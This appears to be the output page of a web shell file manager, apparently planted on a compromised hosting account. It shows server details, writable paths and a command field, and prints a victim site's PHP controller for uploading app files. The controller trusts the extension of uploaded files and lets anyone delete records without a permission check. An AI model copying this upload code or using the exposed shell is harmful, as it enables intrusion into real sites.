GRAYBYTE WORDPRESS FILE MANAGER4719

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/public_html/Barga/application/modules/appversions/controllers/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/public_html/Barga/application/modules/appversions/controllers//Appversions.php
<?php
class Appversions extends Basecontroller
{

	public function __construct()
	{
		parent::__construct();
		$this->load->model('Appversions_model', 'Appversions');
		$this->controller_name = "appversions";
		$this->folder = "appversions";
		$this->per_page = PER_PAGE;
		if(!$this->session->userdata('is_login')) { redirect('sessions','refresh'); } //Checked is logined in or not
	}
	
	public function index()
	{
		redirect($this->controller_name.'/appVersionsList');
	}
	
   	public function appVersionsList()
   	{
		$data = array();
		$total_record = count($this->Appversions->getAppVersionList());
		//pagination configuration
		$config['target']      = '#data_list';
		$config['base_url']    = base_url().$this->controller_name.'/ajaxAppVersionsList';
		$config['total_rows']  = $total_record;
		$config['per_page']    = $this->per_page;
		$config['link_func']   = 'searchFilter';
		$this->ajax_pagination->initialize($config);
		
		//get the degree type data
		$data['app_versions'] = $this->Appversions->getAppVersionList(array('limit'=>$this->per_page));
		
		$data['title'] = "App Versions";
		$data['total_record'] = $total_record;
		//load the view
		$this->template->admin('app_version_list', $data);
	}
	
	public function appversionForm($app_id = 0)
	{
		if($app_id == "" || !is_numeric($app_id)){redirect('errors/invalidRequest');} // Check passing argument
		if(checkModuleAccessByUser(userInfo('user_role_id'), 30, "module_view") == 0){ redirect('errors/noPermission');} // Check user access permission
		$data['title'] = "App Version Form";
		$data['app_id'] = $app_id;
		if($app_id > 0) { $data['app_data'] = $this->Appversions->getAppData($app_id); }
		if($this->input->post()) {
			if($app_id == 0) {
				$this->form_validation->set_rules('app_version', 'App Version', 'trim|required|numeric|is_unique[uc_app_versions.app_version]');
				$this->form_validation->set_rules('app_release_date', 'App Release Date', 'trim|required');
			} else {
				$this->form_validation->set_rules('app_version', 'App Version', 'trim|required|numeric]');
				$this->form_validation->set_rules('app_release_date', 'App Release Date', 'trim|required');
			}
			if ($this->form_validation->run() === TRUE) {
				$app_version = $this->input->post('app_version');
				$app_release_date = $this->input->post('app_release_date');
				$data_array['app_version'] = $app_version;
				/*** upload customer profile photo start ***/
				if (($_FILES['app_file']['name']) != '') {
					if($app_id > 0) { $apk_file = $this->Appversions->getApkFileName($app_id); }
					if(!empty($apk_file) && file_exists(APK_VERSION_FILE_PATH.$apk_file)) { unlink(APK_VERSION_FILE_PATH.$apk_file); }
					$file_name = $_FILES['app_file']['name'];
					$file_name = "apk_version_".$app_version."_".time().'.'.getFileExt($file_name);
					move_uploaded_file($_FILES['app_file']['tmp_name'], APK_VERSION_FILE_PATH . $file_name);
					$data_array['app_file'] = $file_name;
				}
				/*** upload customer profile photo end ***/
				$data_array['app_release_date'] = getDateFromDatepicker($app_release_date). " ".date('H:i:s');
				$data_array['ip'] = getUserIP();
				if($app_id == 0) { $data_array['doc'] = date('Y-m-d H:i:s');}
				if($app_id > 0) { $data_array['dom'] = date('Y-m-d H:i:s');}
				$id = $this->Appversions->saveAppVersion($data_array, $app_id);
				$this->session->set_flashdata('msg_success', getMessage("record_saved", 3));
				redirect($this->controller_name);exit;
		 	}
		}
		$this->template->admin('app_version_form', $data);
	}
	
	public function deleteAppVersion($app_id)
	{
		if($app_id > 0) {
			$apk_file = $this->Appversions->getApkFileName($app_id);
			if(!empty($apk_file) && file_exists(APK_VERSION_FILE_PATH.$apk_file)) { unlink(APK_VERSION_FILE_PATH.$apk_file); }
			$this->db->where('app_id', $app_id);
      		$this->db->delete(TABLE_APP_VERSIONS); 
			redirect($this->controller_name);exit;
		} else {
			redirect('errors/invalidRequest');
		}
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 27 2024 00:19:25
giriqfky / giriqfky
0755
Appversions.php
3.953 KB
July 27 2024 00:19:25
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF